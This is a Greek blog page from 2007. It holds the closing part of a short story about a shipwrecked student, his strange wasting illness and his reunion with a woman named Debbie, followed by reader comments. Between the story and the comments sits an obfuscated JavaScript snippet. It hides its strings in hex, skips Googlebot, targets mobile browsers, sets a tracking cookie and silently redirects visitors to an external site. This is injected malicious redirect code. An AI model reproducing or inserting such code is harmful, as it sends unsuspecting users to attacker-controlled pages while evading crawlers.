Εδώ ο φόβος – που απορρέει από τη δύναμη αυτού του «ημιάγριου» που μπορεί και φθάνει σ’ αυτό το νησί (σημαδάκι) που ένα και μοναδικό κύμα θα μπορούσε να το εξαφανίσει κάτω από το γαλάζιο νερό – αντιστέκεται και γίνεται το επίκεντρο μιας στεγνής πληγής, που τελικά φαίνεται να είναι αυτό το κορίτσι και που μέσα από αυτή την αντίσταση δεν ξέρω αν αυτό που διακρίνω είναι μόνο αγάπη.

«Πως σε λένε;» τη ρωτάω. «Τι σημασία έχει;» «Μπορεί να μη έχει» λεω. «Δεν ξέρω αν θα το πιστέψεις…» μου λεει «…αλλά εδώ και λίγη ώρα αισθάνομαι τη παρουσία του εδώ κοντά.» «Είναι παραισθήσεις» λεω «…από τον ήλιο και τη δίψα. Ο μόνος που είναι εδώ κοντά είμαι εγώ και η παρουσία μου, η αύρα μου, καλύπτει κάθε άλλο έμβιο ον.» Δεν πρόλαβα να τελειώσω τη φράση μου και οι μηχανές ενός δυνατού ταχύπλοου γέμισαν με τους κραδασμούς τους και τον ήχο των κυμάτων που έσκιζαν την απόλυτη ησυχία της γυάλινης θάλασσας που μας περιέβαλε. Τινάχτηκε σαν ελατήριο και έτρεξε στην ακτή, περπάτησε μέσα στο νερό και πλησίασε το όντως εντυπωσιακό σκάφος. Ένας ηλιοκαμένος άντρας ο πιο επιβλητικός της παρέας, κρέμασε το χέρι του από τη πλώρη και με μία κίνηση τη σήκωσε και την έβαλε στο σκάφος. Οι μηχανές δούλευαν στο ρελαντί, στο τιμόνι καθόταν ένας άλλος πολύ γυμνασμένος και περισσότερο «μπρονζέ» άντρας, ενώ υπήρχε και τρίτος που εξακολουθούσε να έχει τεταμένη τη προσοχή του ακόμα και σ’ αυτή την ερημιά μάλλον από συνήθεια. Αυτός ο τρίτος άντρας κατέβηκε σε λίγο και παρέλαβε το δέμα που βρισκόταν στην αμμουδιά. Το έπιασε πολύ προσεκτικά και το πέταξε με μία ρίψη ακριβείας μέσα στο σκάφος. Μετά με κοίταξε με νόημα, με μια ειρωνεία, είχαν όλοι το ίδιο βλέμμα πάνω μου, σαν να ήξεραν ένα κοινό μυστικό, πιθανόν να γνώριζαν πόσο πόθησα αυτό το πλάσμα και πως δεν κατάφερα τίποτε. Ήταν κάτι που το είχαν όλοι στο βλέμμα τους, ακόμη και εκείνη, σαν να ήταν από πάντα μία παρέα που συνεννοούνται με νοήματα, σαν να συνέβαινε το ίδιο και όταν είμαστε μόνοι μας και μόνο εγώ δεν μπόρεσα να καταλάβω τίποτε. Λίγο πριν βάλουν πλώρη για το πέλαγος, ο αχθοφόρος που παρέλαβε το δέμα μου πέταξε σαρκαστικά: «Σε λίγο έρχεται να σε πάρει η ακτοφυλακή.» Έφυγαν. Έδειχναν μια χαρούμενη παρέα που μόλις είχαν κάνει πικ-νικ στο νησάκι.

Η ακτοφυλακή έφθασε αργότερα. Ρώτησα για τους φίλους μου και είχαν σωθεί. Δεν υπήρχαν θύματα από το ναυάγιο και μόνο εμείς οι δύο παρασυρθήκαμε σ’ αυτό το απομακρυσμένο ξερονήσι. Μας θεωρούσαν πνιγμένους αλλά «κάποιος» – και εδώ τα λόγια τους απέκτησαν άλλη χροιά – ενδιαφερόταν να βρει οπωσδήποτε τα πτώματά μας.

Έμεινα δυο τρεις μέρες σε ένα νοσοκομείο για προληπτικούς λόγους και άφησα τις διακοπές μου στη μέση και γύρισα σπίτι. Νομίζω ότι όσο περνούσαν οι μέρες αισθανόμουν ότι κάτι δεν πήγαινε καλά αλλά δεν μπορούσα να εξηγήσω τι. Η Αθήνα όσο καυτή κι αν είναι το καλοκαίρι πάντα έχεις να κάνεις κάτι. Στις αρχές Αυγούστου είδα και τους δύο κολλητούς μου που είμαστε και συγκάτοικοι στο σπίτι στη Θεσσαλονίκη. Βγήκαμε δύο τρεις φορές και από τη πρώτη στιγμή και οι δύο με ρώτησαν τι έγινε με τη Ντέμπι «Ποια Ντέμπι ρε παιδιά;» «Έλα τώρα τη Ντέμπορα που μείνατε τόσες ώρες μόνοι σας σ’ ένα νησί μέχρι να σας βρει η ακτοφυλακή. Τη Ντέμπι που ζούσε στην Αμερική και ήρθε πρόπερσι στην Ελλάδα και ερωτεύτηκε έναν έλληνα και θέλει να μείνει για πάντα εδώ.» «Και πως ξέρετε πως τη λένε;» «Από τις εφημερίδες.» Γέλασα γιατί τελικά δεν είχα πάρει απάντηση πως τη λένε. «Και τι άλλο έγραψαν οι εφημερίδες;» «Τίποτε ιδιαίτερο, να ότι έχουμε κακές συγκοινωνίες και αισχροκέρδεια σε περιόδους αιχμής όπως το καλοκαίρι. Και ευτυχώς που δεν θρηνήσαμε θύματα και τέτοια…» «Άλλο τίποτε;» «Όχι.» «Λοιπόν ακούστε προσεκτικά μάγκες μου : δεν θα το πιστέψετε αλλά εκεί είμαστε τόσες ώρες μαζί δεν έγινε απολύτως τίποτε. Είμαστε τόσο εξαντλημένοι που ούτε να βοηθήσουμε ο ένας τον άλλο να σταθεί στα πόδια του μπορούσαμε.» Δεν είπα πολλά πράγματα, δεν έδωσα λεπτομέρειες και το μόνο που διαπίστωσαν κι αυτοί είναι ότι έχω αλλάξει ,ότι καθημερινά είμαι όλο και περισσότερο κουρασμένος, σαν να έφευγε η ζωή από μέσα μου.

Τέλος Αυγούστου είχα βαρεθεί στην Αθήνα και γύρισα στη Θεσσαλονίκη νωρίτερα από κάθε άλλη χρονιά. Δεν είχα μαθήματα, τα είχα περάσει όλα τον Ιούνιο και γύρισα μόνο για μια αλλαγή παραστάσεων, γιατί παντού με ακολουθούσε μια βαρεμάρα ανησυχητική. Πέρασα από το Πολυτεχνείο να βρω κανένα άτομο για παρέα, για βόλτες, για ποτά, για οτιδήποτε τέλος πάντων αλλά ήταν πολύ λίγος ο κόσμος και πέρασα μερικές τελείως μοναχικές μέρες. Τότε το πρόβλημα εκδηλώθηκε πιο ξεκάθαρα με μία φοβερή ανορεξία. Έτρωγα ελάχιστα. Άρχισα να αδυνατίζω. Μήπως το έιτζ κολλάει μόνο από πόθο; Γελούσα μόνος μου με τη «διάγνωση» που έκανα. Όταν κατέφθασαν οι συγκάτοικοι έκανα μεγάλη προσπάθεια να τρωω μαζί τους όταν βγαίναμε, αλλά έστω κι αν έτρωγα περισσότερο το έκανα εμετό. Πήγα στο παθολόγο του Πανεπιστημίου και με εξέτασε και δεν βρήκε τίποτε παθολογικό. Δοκίμασα άλλο γιατρό αλλά κανείς δεν εντόπιζε παθολογικά ευρήματα. Όταν πλέον είχα αδυνατίσει αρκετά ένας φίλος μας φοιτητής ιατρικής μίλησε για νευρική ανορεξία με ψυχολογικά αίτια.

Δεν μπορεί. Τι ψυχολογικά, δεν είμαι ο τύπος που κολλάει το μυαλό του σε μία γυναίκα. Δεν μπορεί να ερωτεύτηκα αυτή τη τύπισσα, τη Ντέμπι το καλοκαίρι και να είμαι «άρρωστος μαζί της» μέχρι το χειμώνα. Έχω γνωρίσει πολλά κορίτσια τέσσερα χρόνια στο πολυτεχνείο, ποτέ δε ζορίστηκα, ποτέ δεν τη πάτησα να σκέφτομαι κάποια για καιρό. Τώρα μάλιστα για να είμαι ειλικρινής δεν την σκέφτομαι τη Ντέμπι γιατί νομίζω ότι έχω κάτι σαν κενό μνήμης για εκείνες τις μέρες και τη συγκεκριμένη γυναίκα – εντυπωσιακή δεν λεω- τη θεωρώ κάτι σαν μοντέλο που την είδα σε κάποιο καλοκαιρινό περιοδικό με διαφημίσεις μαγιό ή σε κάποιο σόου στη τηλεόραση και την ξέχασα πολύ σύντομα.

Ωστόσο δεν είπα όχι να δω και κάποιο ψυχολόγο. Στην αρχή μιλήσαμε τετ α τετ μετά πρότεινε να με υπνώσει για να μελετήσει καλύτερα εκείνο το διήμερο των διακοπών. Όταν ξαναπήγα μου είπε ότι δεν είναι σίγουρος αν η συγκεκριμένη γυναίκα είναι το πρόσωπο που έχει καρφωθεί στη σκέψη μου ή αν πίσω από το πρόσωπό της κρύβεται κάποιος εφηβικός έρωτας που η απόρριψη στο νησί τον έφερε στην επιφάνεια. Πάντως κατά τη διάρκεια της ύπνωσης είπα πολλές φορές τους στίχους «Πιο ξένη κι απ’ τους ξένους θα γίνεις, στο δρόμο αν με δεις θα κρυφτείς….» Κι αυτό πολύ παράξενο γιατί δεν ακούω σχεδόν καθόλου Σφακιανάκη, όχι ότι δεν είναι καλός αλλά δεν είναι του στυλ μου.

Μετά από τόσους γιατρούς και αρκετά μπερδεμένος με το πρόβλημά μου συνέχισα να αδυνατίζω αλλά έκανα φοβερές προσπάθειες να μπουκώνω φαγητό έστω κι αν δεν είχα όρεξη. Μερικές φορές που έμενα πολλές ώρες νηστικός αγόραζα πέντε και έξι σουβλάκια με πίττα , τα καταβρόχθιζα με πρωτοφανή λαιμαργία και μετά αμέσως έκανα εμετό.

Ένα μεσημέρι – το φθινόπωρο τελείωνε – βγήκα με τους συγκάτοικους να φαμε έξω σε ένα πολύ γραφικό ταβερνάκι κοντά στη Στρατού. Είχα πλέον χαρακτηριστικά σκελετωμένου και υποσιτισμένου ατόμου, που όπου πήγαινα με κοίταζαν περίεργα. Το φαγητό ήταν πολύ νόστιμο και πίεσα τον εαυτό μου να τελειώσω το πιάτο. Ενώ όλα πήγαιναν καλά, συζητούσαμε, λέγαμε διάφορα πειράγματα για κορίτσια και συμφοιτήτριές μας που μας άρεσαν και που μάλλον επειδή η σχολή τελειώνει φέτος δεν θα είχαμε το χρόνο να δοκιμάσουμε τη τύχη μας μαζί τους. Τότε μου ήρθε ο πρώτος σπασμός εμετού στο λαιμό. Μόλις και μετά βίας κατάφερα να φθάσω στη τουαλέτα. Το έβγαλα όλο το φαγητό. Δεν ήθελα να χαλάσω το κλίμα της παρέας και γύρισα σπίτι. Πρώτος όροφος, παλιά πολυκατοικία, στενάκι κάθετο στη Κασσάνδρου, κοντά στον Άγιο Δημήτριο. Μπήκα και βούρτσισα τα δόντια μου. Μετά ξάπλωσα με τα ρούχα. Με πήρε ο ύπνος σύντομα. Με ξύπνησε το κουδούνι. Μάλλον ήταν ένα κορίτσι που τα ψήνει αυτό τον καιρό με τον ένα συγκάτοικο. Δεν μπορεί οι άλλοι είχαν κλειδί και δεν θα χτυπούσαν. Άφησα ανοιχτή τη πόρτα και γύρισα στο κρεβάτι. Η γυναίκα που μπήκε στο σπίτι ήρθε κατευθείαν στο κρεβάτι μου. Είχε την ίδια φωνή όπως και στο νησάκι αλλά πιο βραχνή. Την πήρα στα χέρια μου και ήταν υπερβολικά… αδύνατη. Τη φίλησα και το στόμα της είχε τη γεύση οδοντόκρεμας. «Μα καλά πως με βρήκες; » τη ρώτησα; «Σε βρήκα» μου είπε.

Σηκωθήκαμε αργά το βράδυ. Πεινούσα υπερβολικά, το ίδιο και κείνη. Βγήκαμε και φάγαμε σάντουιτς στο πόδι. Ήταν τόσο σκελετωμένη όσο και εγώ. «Τι έπαθες;» τη ρώτησα. «Δεν ξέρω» μου είπε. «Έκανα πολύ συχνά εμετό και βούρτσιζα συνέχεια τα δόντια μου. Δεν μπορούσα να κατεβάσω μπουκιά. Ήμουν τόσο σπαστική με την οδοντόβουρτσα που δεν με άντεχε κανείς. Νόμιζα ότι το στόμα μου ήταν διαρκώς βρώμικο. Δεν ξέρω τι μου συμβαίνει. Άρχισα να χάνω βάρος. Κάποια στιγμή ήμουν ένας σκελετός. Δεν με καταλαβαίνει κανείς. Ήμουν αφηρημένη και κουρασμένη συνέχεια. Έφυγα μία μέρα από το σπίτι και δεν με αναζήτησαν. Η πρώτη και μοναδική μου σκέψη ήταν να έρθω να σε βρω.»

Από μία άποψη είχαμε πολύ πλάκα. Είμαστε δύο «σκελετοί» που όλοι μας κοιτούσαν περίεργα όπου κι αν πηγαίναμε. Η Ντέμπι έγινε ο τέταρτος συγκάτοικός μας, μαγείρευε πολύ συχνά και πολύ νόστιμα.

Αποκτήσαμε νέες συνήθειες και μία από αυτές ήταν ότι μετά το σεξ πεινούσαμε και οι δύο πάρα πολύ.

Τελικά ανακτήσαμε κάποτε το βάρος που είχαμε «αφήσει» σ’ εκείνη τη βραχονησίδα του Ιονίου και να σας πω και κάτι άλλο; Είμαστε ακόμα μαζί.

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

33 Σχόλια »

  1. Εγραψες πάλι Ανώνυμε!
    Αντιγραφή και εκτύπωση για να σε διαβάσω με την ησυχία μου το μεσημέρι 😉

    Σχόλιο από Adonios — Μαΐου 9, 2007 @ 7 :54 πμ | Απάντηση

  2. Adonie
    με προλαβες 🙂
    ήθελα να αφήσω ένα αρχικό σχόλιο για τη
    So far
    «αυτό το πόστ είναι μια υπόσχεση που έδωσα για τη Θεσσαλονίκη»
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 9, 2007 @ 8 :04 πμ | Απάντηση

  3. ρε γλυκό μου πλάσμα, για πρωινό καφέ τα σεντόνια σου είναι λίγο βάρβαρα!!! πάραυτα το διάβασα όλο, το ομολογώ. και χωρίς δεύτερη σκέψη, ακριβώς τα ίδια θα έπαιρνα μαζί μου, δεν ξέρω γιατί, με μόνη προσθήκη ένα αντηλιακό για να μη μαζεύω το δέρμα μου σε λωρίδες…
    η φαντασία σου οργιάζει μπορώ να πω. κυριολεκτικά και μεταφορικά!!!

    Σχόλιο από Natalia — Μαΐου 9, 2007 @ 8 :06 πμ | Απάντηση

  4. υ.γ. μεγάλο πράγμα οι ανεκπλήρωτοι πόθοι… ερωτικοί και μη.

    Σχόλιο από Natalia — Μαΐου 9, 2007 @ 8 :42 πμ | Απάντηση

  5. Για ακόμα μια φορά απίθανος! Σε απόλαυσα!

    Σχόλιο από LikeToBite — Μαΐου 9, 2007 @ 9 :18 πμ | Απάντηση

  6. ΥΠΕΡΟΧΟ!!!!! ΥΠΕΡΟΧΟ!!!!!!! Ευχαριστώ πάρα πολύ που τήρησες την υπόσχεσή σου…

    Σχόλιο από So_Far — Μαΐου 9, 2007 @ 9 :47 πμ | Απάντηση

  7. Ξέχασα να συμπληρώσω ότι θα σχολιάσω αργότερα… ^^

    Σχόλιο από So_Far — Μαΐου 9, 2007 @ 10 :17 πμ | Απάντηση

  8. Πω πω..Τέλειο κείμενο…Με πάθος, φλόγα, τρικυμία. Ζωγράφισες!!

    Σχόλιο από lifewhispers — Μαΐου 9, 2007 @ 11 :41 πμ | Απάντηση

  9. Πολύ ωραίο και με όμορφη γραφή δωσμένο,
    σου αφήνει μια….υπέροχη αίσθηση κι όχι μόνο!!!!

    Σχόλιο από feggaroskoni — Μαΐου 9, 2007 @ 2 :41 μμ | Απάντηση

  10. Έχετε και μια δεύτερη πρόσκληση αγαπητέ στο blog μου. Το σχόλιό μου από αύριο…

    Σχόλιο από So_Far — Μαΐου 10, 2007 @ 5 :57 πμ | Απάντηση

  11. Παιχνίδια ερωτήσεων;
    Παρακαλώ όσους σχολίασαν αν θέλουν ας απαντήσουν στην ερώτηση :
    ΤΙ ΘΑ ΠΑΙΡΝΑΤΕ ΜΑΖΙ ΣΑΣ ΣΕ ΕΝΑ ΕΡΗΜΟ ΝΗΣΙ ΤΟ ΚΑΛΟΚΑΙΡΙ ;
    ήδη απαντησε με το σχόλιό της η ναταλία.

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :11 πμ | Απάντηση

  12. ναταλία
    ανεκπλήρωτοι πόθοι.
    αυτό μας κινητοποιεί έλεγε ο Φρόυντ , νομίζω ότι το θεωρούσε την ατμομηχανή της δημιουργικότητας.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :12 πμ | Απάντηση

  13. liketo bite
    θενκς για την θερμή υποδοχή .
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :14 πμ | Απάντηση

  14. σο φαρ
    επίσης περιμένω συμμετοχή στο ερώτημά μου .
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :15 πμ | Απάντηση

  15. lifewhispers
    θενκς.
    απαντησε και συ αν θες τι θα ήθελες σε ένα ερημο νησί……
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :16 πμ | Απάντηση

  16. φεγγαρόσκονη
    θενκς .
    χαίρομαι όταν τα γραπτά μου προσφέρουν απόλαυση , σε ταξιδέυουν, σε κάνουν να ξεχνιέσαι.
    είναι «υπηρεσίες» που άλλοι τις πληρώνουν.
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 10, 2007 @ 7 :19 πμ | Απάντηση

  17. http://kittenstories.blogspot.com/2007/05/blog-post_10.html

    η απάντηση στο προηγούμενο ποστ σου

    Σχόλιο από natalia — Μαΐου 10, 2007 @ 7 :54 πμ | Απάντηση

  18. Επειδή ταξιδεύω συχνά και πρέπει να αισθάνομαι ανεξάρτητη θα σου πω ότι έχω σκεφτεί το ενδεχόμενο να καταλήξω κάπου που τα απαραίτητα να μην υπάρχουν καν.
    Εξαιρούμε το φαινόμενο να καταλήξω π.χ. στη Γροιλανδία χειμώνα γιατί δε σε σώζει τίποτα και πάμε στην κλασική περίπτωση του έρημου νησιού το καλοκαίρι.

    Θα έπαιρνα λοιπόν ένα κομμάτι γυαλί ( να ανάψουμε φωτιά ), 1 μαχαίρι, καπέλο, γυαλιά ηλίου, αντηλιακά, απαραίτητες ενυδατικές, είδη προσωπικής υγιεινής ( πλήρες σετ ), 1 μαγιώ, σορτ και μπλουζάκι.
    Μην νομίσεις ότι πάω σε εκστρατεία, αλλά όλα βρίσκονται στην τσάντα μου όποτε μπαίνω σε πλοίο.

    Τώρα γιατί όχι προφυλακτικά; Στη φάση αυτή του ναυαγού, ο έρωτας είναι η ίδια η περιπέτεια, μάλλον δεν θα είχα τη διάθεση να σκεφτώ κάτι παραπέρα. Όπως έκανε και η Ντέμπορα.

    Έφερε όμως την περιπέτεια στη ζωή σου τη στιγμή που τη χρειαζόσουν, αφού πρώτα την έζησε long time και η ίδια.

    Τελικά η ιστορία σου αποδεικνύει ότι ο έρωτας θέλει το χρόνο του… και τότε το τελευταίο που σκέφτεται είναι τα προφυλακτικά.

    ^^

    Σχόλιο από So_Far — Μαΐου 10, 2007 @ 10 :21 πμ | Απάντηση

  19. Sub-post: Αιώνια λιακάδα ενός πιωμένου σκίουρου

    ..Το διάβασα εδώ και μέρες το ποστ..αγόγγυστα που λέει ο λόγος κι ας τινάζονταν κάθε λίγο και λιγάκι οι ενστάσεις..τώρα είμαι καλά, αραχτός με το πούρο στην κουφάλα του δέντρου και σκέφτομαι σοβαρά την περίπτωση σου..

    «Εδώ όμως δεν μιλάμε για τη παραλία, τη πλαζ με τα κιόσκια και τον κόσμο πατείς με, πατώ σε, εδώ λέμε τι θα παίρνατε μαζί σας σε ένα έρημο νησί, τι θα θέλατε να μη έχει χαθεί από το ναυάγιο αν βρισκόσαστε Ροβινσόνας μόνος κατάμονος σε ένα μικροσκοπικό και έρημο νησί…»
    [τώρα άμανε έπαιρνα προφυλακτικά δεν θά’μοιαζα ολίγον μαλάκας;λέω…]

    «για να μη υστερώ από τη παρέα είχα ένα φθαρμένο τζιν με σκίσιμο στο δεξί γόνατο.»
    [άμανε ήταν στ’αριστερό θα’πρεπε να έχω πιάσει άλλο νόημα;]

    «..Και ενώ είμαι ο ήρωας που της έσωσα τη ζωή δέχομαι ένα καταιγισμό από φωνές, λέξεις που δεν μπορώ να πιστέψω ότι βγαίνουν από ένα τόσο ωραίο στοματάκι και μένω άναυδος. Εκείνη σηκώνεται απότομα απομακρύνεται λίγο μου γυρίζει τη πλάτη για να φτιάξει το μπούστο της, κοιτάζει συνέχεια μια το στήθος και μια εμένα και με ρωτάει πόση ώρα είμαι εκεί από πάνω της και αν την άγγιξα και ψάχνεται με ένα τρόπο σαν να θέλει να δει αν υπάρχουν ίχνη από τα χέρια μου πάνω της»
    [καλά πάνω σε υστερικό βλαμμένο έπεσες; ε, ρε τι τραβάμε κι εμείς οι ήρωες]

    ««Αν έστω και για μια στιγμή σκεφτεί αυτά που μου λες (ο αγαπημένος της ντε) είσαι τελειωμένος.»
    [σιγά ρε φιλενάδα]

    «Πάντως κατά τη διάρκεια της ύπνωσης είπα πολλές φορές τους στίχους «Πιο ξένη κι απ’ τους ξένους θα γίνεις, στο δρόμο αν με δεις θα κρυφτείς….» »
    [αδερφέ να το προσέξεις αυτό, εγώ τραγουδάω αράβικα]

    «Μετά από τόσους γιατρούς και αρκετά μπερδεμένος με το πρόβλημά μου συνέχισα να αδυνατίζω αλλά έκανα φοβερές προσπάθειες να μπουκώνω φαγητό έστω κι αν δεν είχα όρεξη»
    [ρεεεεεεεεεεεε πας καλά;! Κόβεται ρε το φαΐ?!!?!?!?!?!?!]

    «Είμαστε ακόμα μαζί.»
    [αν υποψιαστώ πως είναι ντιπ για ντιπ αυτοβιογραφικό , την έβαψα..ο κηδεμόνας έχει πάθει σοκ μετά το ποστ..εντός κι εκτός ύπνωσης επαναλαμβάνει «σαρντό αυτό το ελαττωματικό χρωμόσωμα Ψ έχει κάνει την ζημιά»]

    Απάντηση: Σε ένα έρημο νησί αν ήμουν ναυαγός θα έπαιρνα ό,τι έβρισκα. Αν πήγαινα από μόνος, αφ’εαυτού μου δηλαδή…ε, δεν θα πήγαινα, μη λέω μ*******

    Σχόλιο από Sardonian — Μαΐου 10, 2007 @ 4 :22 μμ | Απάντηση

  20. Και τώρα ας σχολιάσουμε το ποστ….

    ΄Δεν θα ξαναγράψω ότι το ποστ είναι υπέροχο once more! Και για να δώσω την έμφαση με αυτό το once more, σου λέω ότι το βάζω στο τέλος επειδή εδώ σε αυτό το blog η μία ιστορία είναι καλύτερη από την άλλη. Δεν είναι blogo-φιλοφρόνηση, είναι ακρίβεια σκέψης αυτό που γράφω και μάλιστα αποδεδειγμένη.

    Η αίσθηση που μου άφησε το ποστ, πέρα από τις κινηματογραφικές σκηνές είναι ότι κινείται σε ένα επίπεδο συμβολισμού.

    Το έρημο νησί είναι η συναισθηματική μοναξιά στην οποία βρίσκονται και οι δύο, υπό το κράτος του φόβου, που εκδηλώνεται πιο έντονα στη Ντέμπορα αφού εκείνη έχει και μια ‘ιστορία’ να τρέχει στο background. Μια ιστορία που φαινομενικά στην πρώτη συνάντηση δείχνει να την καλύπτει.

    Με το ατύχημα κα την απομόνωση στο νησί, παρόλο που η διάσωσή της γίνεται κινηματογραφικά και με ήρωες φαινομενικά πιο ισχυρούς από σένα, η ηρωίδα σου συνειδητοποιεί αν και άτσαλα ότι ο φόβος έχει πολλές μορφές και μάλλον αρχίζει να συμφιλιώνεται μαζί του αντί να υποτάσσεται σε εκείνον.

    Όσο για σένα, έχεις το κλασικό σύμπτωμα του βαρέως ερωτευμένου, την άρνηση να φας ο,τιδήποτε.

    Από εκεί και πέρα οι διαδρομές γίνονται σκοτεινές και εσύ τις αφήνεις σκόπιμα έτσι. Και πολύ καλά κάνεις, γιατί δίνεις τη δυνατότητα στον καθένα να έρθει στη θέση των ηρώων σου.

    Μέχρι που γίνεται η έκπληξη και διαπιστώνεις ότι αυτό που νόμιζες ότι έχασες, που απωθούσες πονώντας άδηλα και αδυνατίζοντας έκανε ακριβώς την ίδια διαδρομή ψάχνοντας να σε βρει μέχρι που σε βρήκε.

    Και όχι μόνο αυτό… θέλεις να παίρνεις και όλη την παρτίδα έτσι τη βάζεις να έχει αποκτήσει την πιο χαρακτηριστική σου συνήθεια, το βούρτσισμα … καταπληκτικό εύρημα, ομολογώ.

    Νομίζω ότι το συγκεκριμένο σου διήγημα σηκώνει πολλές πολλές αναγνώσεις και ερμηνείες αλλά εγώ ειδικά εγώ θα σταθώ σε αυτή που με εντυπωσίασε περισσότερο:

    Πώς γίνεται και ακούς ιστορίες από ψιθυρίσματα;

    Σχόλιο από So_Far — Μαΐου 11, 2007 @ 2 :25 πμ | Απάντηση

  21. απνευστί!

    Σχόλιο από allmylife — Μαΐου 11, 2007 @ 6 :30 πμ | Απάντηση

  22. sarnto
    1 προφυλακτικά στο ερημο νησί;
    εδω που τα λέμε ούτε και στην πισίνα , ή στο σπα ξενοδοχείου που γινεται πανικός από «πλασματα» μπορείς να τα χρησιμοποιήσεις . Γι αυτό ένα κιβώτιο είναι παντού και πάντα χρήσιμο.
    2.όταν λέμε σκισιμο ήταν έτοιμο να κοπεί , να μείνει μισή βερμουδα
    3. ειχε κι εκεινη τα δικά της
    4. μιλάμε για πολύ κακό τύπο
    5. σφακιανακης στην ύπνωση , ποιος να το περίμενε
    6. ανορεξια από …..
    7. μου αρέσει ο τρόπος που σχολιάζεις γενικώς . σαν να ήσουν φτιαγμενος γι αυτό, σαν να είχες προδιαγραφες στο Ψ χρωμόσωμα. αν δεν υπήρχαν μπλογκς τι θακανες;
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 11, 2007 @ 4 :10 μμ | Απάντηση

  23. σο φαρ.
    σκεφτηκα να κάνω μια ιστορία για τα πλατωνικά «ημίσεα».
